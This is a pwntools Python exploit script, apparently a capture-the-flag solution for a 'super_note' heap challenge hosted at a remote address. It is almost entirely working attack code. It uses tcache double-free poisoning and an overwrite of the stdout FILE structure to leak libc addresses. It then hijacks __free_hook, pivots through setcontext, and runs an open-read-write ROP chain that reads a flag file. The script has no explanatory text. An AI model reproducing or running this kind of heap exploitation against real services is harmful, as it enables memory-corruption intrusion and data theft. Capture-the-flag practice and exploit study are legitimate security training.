1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
|
from os import write
from pwn import *
from pwnlib.ui import pause
context(arch = 'amd64' , os = 'linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
leak = lambda name,addr: log.success('{0} addr ---> {1}'.format(name, hex(addr)))
#
# p = process('./super_note',env={'LD_PRELOAD':'./libc-2.31.so'})
p = remote('81.68.86.115', 10002)
libc = ELF('./libc-2.31.so')
def add(idx, size):
p.sendlineafter('choice:','1')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('size:')
p.sendline(str(size))
def edit(idx, data):
p.sendlineafter('choice:','2')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('content:')
p.send(data)
def show(idx):
p.sendlineafter('choice:','3')
p.recvuntil('index:')
p.sendline(str(idx))
def dele(idx):
p.sendlineafter('choice:','4')
p.recvuntil('index:')
p.sendline(str(idx))
# double free
add(0,0x50) # 0
show(0)
p.recvuntil('address:[')
heap_base = int(p.recvuntil(']\n',drop=True),16) - 0x3a0 - 0x1000 - 0x560
tcache = heap_base + 0x10
leak('heap base',heap_base)
add(1,0x30) # 1
dele(0) # 0
edit(0,'a'*0x10)
dele(0) # 0-0
edit(0,p16(tcache)) # 0-tcache
add(0,0x50) # -tcache
add(2, 0x50) # tcache
edit(2,'\x00'*64+'\x00'*14+'\xff'*2)
log.success('tcache get!')
dele(0) # 0
edit(0,'a'*0x10)
dele(0) # 0-0
dele(2) # ub-tcache
edit(0,p16(tcache)) # 0-tcache
add(0, 0x50) # -tcache
edit(2,p16(0x26a0)) # -tcache-stdout
add(3, 0x50) # tcache
edit(3,'a'*0x20)
add(4, 0x50) # stdout
edit(4,p64(0xfbad1800)+p64(0)*3+b'\x00')
libc_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase = libc_addr - libc.sym['_IO_2_1_stdin_']
leak('libcbase', libcbase)
puts_addr = libcbase + libc.sym['puts']
free_hook = libcbase + libc.sym['__free_hook']
# 0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
getkeyserv_handle = libcbase + 0x1547a0
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
setcontext = libcbase + libc.sym['setcontext'] +61
pop_rdi = libcbase + 0x26b72
pop_rsi = libcbase + 0x27529
pop_rax = libcbase + 0x4a550
pop_rsp = libcbase + 0x32b5a
pop_rax_rdx_rbx = libcbase + 0x1626d5
syscall_ret = libcbase + 0x66229
log.success('libc addr get!')
edit(3,p64(0)*10) # tcache
dele(1) # 0x40->1
edit(1,p64(free_hook)) # 1->free_hook
edit(3,'\xff'*30)
add(1,0x30)
add(5,0x30) # free_hook
edit(5,p64(puts_addr))
dele(0)
heap_base = u64(p.recvuntil(b'\x0a',drop=True)[-6:].ljust(8,b'\x00')) - 0x10
leak('heap base',heap_base)
orw_part_1 = heap_base + 0x2000
orw_part_2 = orw_part_1 + 0x60
set_chunk = orw_part_2 + 0x60
edit(5,p64(0))
edit(5,p64(0))
add(6,0x60)
edit(3,p16(1)*10)
dele(6)
edit(6,p64(heap_base+0x90)) # tcache entry*
add(6,0x60)
add(6,0x60)
edit(6,p64(orw_part_1)*12)
edit(3,p16(7)*10)
add(8,0x60)
flag = orw_part_1 + 0x60 + 9*8
# open('./flag',0)
payload = p64(pop_rdi)+p64(666)+p64(pop_rdi) + p64(flag) + p64(pop_rax) + p64(2) + p64(syscall_ret)
# read(3, flag+8, 0x100)
payload+= p64(pop_rdi) + p64(3) +p64(pop_rsi)+p64(flag+8)+ p64(pop_rax_rdx_rbx) # + p64(0) +p64(heap_base) #+p64(heap_base)+p64(0) + p64(syscall_ret)
edit(8,payload)
edit(3,p16(7)*10)
edit(6,p64(orw_part_2)*12)
add(9,0x60)
payload = p64(0) +p64(0x100)+p64(0) + p64(syscall_ret)
# write(1,flag+8,0x100)
payload+= p64(pop_rdi) + p64(1) + p64(pop_rax) + p64(1) + p64(syscall_ret) + b'./flag\x00'
edit(9,payload)
edit(6,p64(set_chunk)*12)
add(10,0x60)
payload = p64(0) + p64(set_chunk) +p64(0)*2+ p64(setcontext)
edit(10,payload.ljust(0x60,'\x00'))
edit(6,p64(set_chunk+0x60)*12)
add(11,0x60)
payload = p64(0)*3 + p64(orw_part_1) + p64(80) + p64(88) + p64(0)+p64(0)+p64(orw_part_1+0x8) + p64(pop_rdi)
edit(11,payload.ljust(0x60,'\x00'))
# gdb.attach(p,'b *free')
edit(5,p64(getkeyserv_handle))
log.success('start aaattttack !!!!!!!!!!!')
dele(10)
# edit(3,p64(0)*10) # tcache
# dele(1) # 0x40->1
# edit(1,p64(env)) # 1->env
# edit(3,'\xff'*30)
# add(1,0x30)
# add(6,0x30) # env
# edit(5,p64(puts_addr))
# dele(6)
# stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x100
# rbp_addr = stack_addr -8
# leak('stack_addr', stack_addr)
# edit(3,p16(7)*10)
# add(8,0x60)
# flag = stack_addr + 0x60 + 7*8
# payload = p64(pop_rdi) + p64(flag) + p64(pop_rax) + p64(2) + p64(syscall_ret)
# payload+= p64(pop_rdi) + p64(3) + p64(pop_rax_rdx_rbx) + p64(0) +p64(heap_base)+p64(0) + p64(syscall_ret)
# edit(8,payload)
# edit(7,p64(stack_addr+0x60)*12)
# add(8,0x60)
# payload = p64(pop_rdi) + p64(1) + p64(pop_rax_rdx_rbx) + p64(1) +p64(heap_base)+p64(0) + p64(syscall_ret) + b'./flag\x00'
# edit(8,payload)
# p.shutdown()
p.interactive()
|